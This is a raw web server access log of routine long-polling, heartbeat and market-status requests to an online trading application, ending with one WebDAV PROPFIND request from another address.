[09/Jan/2026:08:49:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920024662 HTTP/1.1" -
[09/Jan/2026:08:49:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920025305 HTTP/1.1" -
[09/Jan/2026:08:49:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920029801 HTTP/1.1" -
[09/Jan/2026:08:49:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920031308 HTTP/1.1" -
[09/Jan/2026:08:49:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920034920 HTTP/1.1" -
[09/Jan/2026:08:49:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920040054 HTTP/1.1" -
[09/Jan/2026:08:49:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920037310 HTTP/1.1" -
[09/Jan/2026:08:49:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:49:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:49:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:49:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:49:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920045185 HTTP/1.1" -
[09/Jan/2026:08:49:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920043306 HTTP/1.1" -
[09/Jan/2026:08:49:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920050263 HTTP/1.1" -
[09/Jan/2026:08:49:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920049307 HTTP/1.1" -
[09/Jan/2026:08:49:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920055443 HTTP/1.1" -
[09/Jan/2026:08:49:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920055309 HTTP/1.1" -
[09/Jan/2026:08:49:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920060627 HTTP/1.1" -
[09/Jan/2026:08:49:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920061303 HTTP/1.1" -
[09/Jan/2026:08:49:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920065830 HTTP/1.1" -
[09/Jan/2026:08:49:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920067309 HTTP/1.1" -
[09/Jan/2026:08:49:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:49:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:49:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:49:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:49:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920070980 HTTP/1.1" -
[09/Jan/2026:08:50:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920076033 HTTP/1.1" -
[09/Jan/2026:08:50:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920073305 HTTP/1.1" -
[09/Jan/2026:08:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920081143 HTTP/1.1" -
[09/Jan/2026:08:50:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920079308 HTTP/1.1" -
[09/Jan/2026:08:50:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:50:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:50:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:50:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:50:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920086278 HTTP/1.1" -
[09/Jan/2026:08:50:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920085312 HTTP/1.1" -
[09/Jan/2026:08:50:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920091390 HTTP/1.1" -
[09/Jan/2026:08:50:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920091301 HTTP/1.1" -
[09/Jan/2026:08:50:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920096523 HTTP/1.1" -
[09/Jan/2026:08:50:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920097300 HTTP/1.1" -
[09/Jan/2026:08:50:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:50:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:50:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:50:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:50:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920101691 HTTP/1.1" -
[09/Jan/2026:08:50:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920103313 HTTP/1.1" -
[09/Jan/2026:08:50:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920106731 HTTP/1.1" -
[09/Jan/2026:08:50:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920111838 HTTP/1.1" -
[09/Jan/2026:08:50:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920109302 HTTP/1.1" -
[09/Jan/2026:08:50:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920116976 HTTP/1.1" -
[09/Jan/2026:08:50:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920115312 HTTP/1.1" -
[09/Jan/2026:08:50:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920122180 HTTP/1.1" -
[09/Jan/2026:08:50:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920121313 HTTP/1.1" -
[09/Jan/2026:08:50:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920127316 HTTP/1.1" -
[09/Jan/2026:08:50:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920127301 HTTP/1.1" -
[09/Jan/2026:08:50:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:50:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:50:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:50:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:51:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920132467 HTTP/1.1" -
[09/Jan/2026:08:51:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920133305 HTTP/1.1" -
[09/Jan/2026:08:51:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920137542 HTTP/1.1" -
[09/Jan/2026:08:51:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920139308 HTTP/1.1" -
[09/Jan/2026:08:51:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920142686 HTTP/1.1" -
[09/Jan/2026:08:51:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:51:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:51:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:51:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:51:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920147821 HTTP/1.1" -
[09/Jan/2026:08:51:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920145310 HTTP/1.1" -
[09/Jan/2026:08:51:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920152961 HTTP/1.1" -
[09/Jan/2026:08:51:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920151302 HTTP/1.1" -
[09/Jan/2026:08:51:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920158130 HTTP/1.1" -
[09/Jan/2026:08:51:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920157307 HTTP/1.1" -
[09/Jan/2026:08:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:51:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920163282 HTTP/1.1" -
[09/Jan/2026:08:51:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920163300 HTTP/1.1" -
[09/Jan/2026:08:51:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920168327 HTTP/1.1" -
[09/Jan/2026:08:51:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920169310 HTTP/1.1" -
[09/Jan/2026:08:51:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920173477 HTTP/1.1" -
[09/Jan/2026:08:51:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920175302 HTTP/1.1" -
[09/Jan/2026:08:51:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920178609 HTTP/1.1" -
[09/Jan/2026:08:51:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920183748 HTTP/1.1" -
[09/Jan/2026:08:51:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920181300 HTTP/1.1" -
[09/Jan/2026:08:51:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920188899 HTTP/1.1" -
[09/Jan/2026:08:51:57 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
